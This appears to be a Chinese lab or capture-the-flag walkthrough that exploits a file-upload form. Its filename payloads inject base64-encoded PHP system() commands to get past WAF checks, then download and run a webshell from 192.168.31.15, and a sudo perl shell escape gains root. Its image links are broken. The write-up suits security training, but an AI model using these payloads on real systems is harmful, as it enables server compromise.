[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-31PEFo6x-1671609096164)(media/de88a94bb79d98d53ea14deb81276f9b.png)]

Kali桌面新建三个文件。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CfiueEc9-1671609096165)(media/616711ebcd9e93d39835280c33ca044d.png)]

依次输入以下三个命令并进行base64编码(目的为了绕过WAF以及防火墙的检测)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FNsc6ZrK-1671609096165)(media/78cb2473384180a6beceb0926958435b.png)]

1、开始第一个文件的抓包,并将filename修改为以下内容:

<?php system(base64_decode(‘d2dldCBodHRwOi8vMTkyLjE2OC4zMS4xNS93ZWJzaGVsbCAtTyAvdG1wL3dlYnNoZWxsCg==’));die();?>.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NDTtbely-1671609096166)(media/9c0e50ccabdeb5f069c2397d4a3c0899.png)]

2、第二个文件抓包

<?php system(base64_decode('Y2htb2QgNzc3IC90bXAvd2Vic2hlbGwK’));die();?>.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GP9ECzUs-1671609096167)(media/4480f878bc10baddd4afec31d3d79809.png)]

3、第三个文件抓包

<?php system(base64_decode(‘L3RtcC93ZWJzaGVsbAo=’));die();?>.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iUa2HEXS-1671609096167)(media/f74f4c0a9bb0664432857f0e91aed02d.png)]

发现perl不需要sudo验证,使用命令

sudo perl -e "exec ‘/bin/sh’ "

bash -i

获取到root权限:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i2C0V09h-1671609096168)(media/20ac4484d31846018917f7f4080b4445.png)]

最后在/root 根目录发现flag.txt文件,实验结束(root密码:hello@3210)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q5Q8PCpk-1671609096170)(media/19f3812e318f604fdca87ae4e4e3cccb.png)]

猜你喜欢

转载自blog.csdn.net/renxq097/article/details/128398296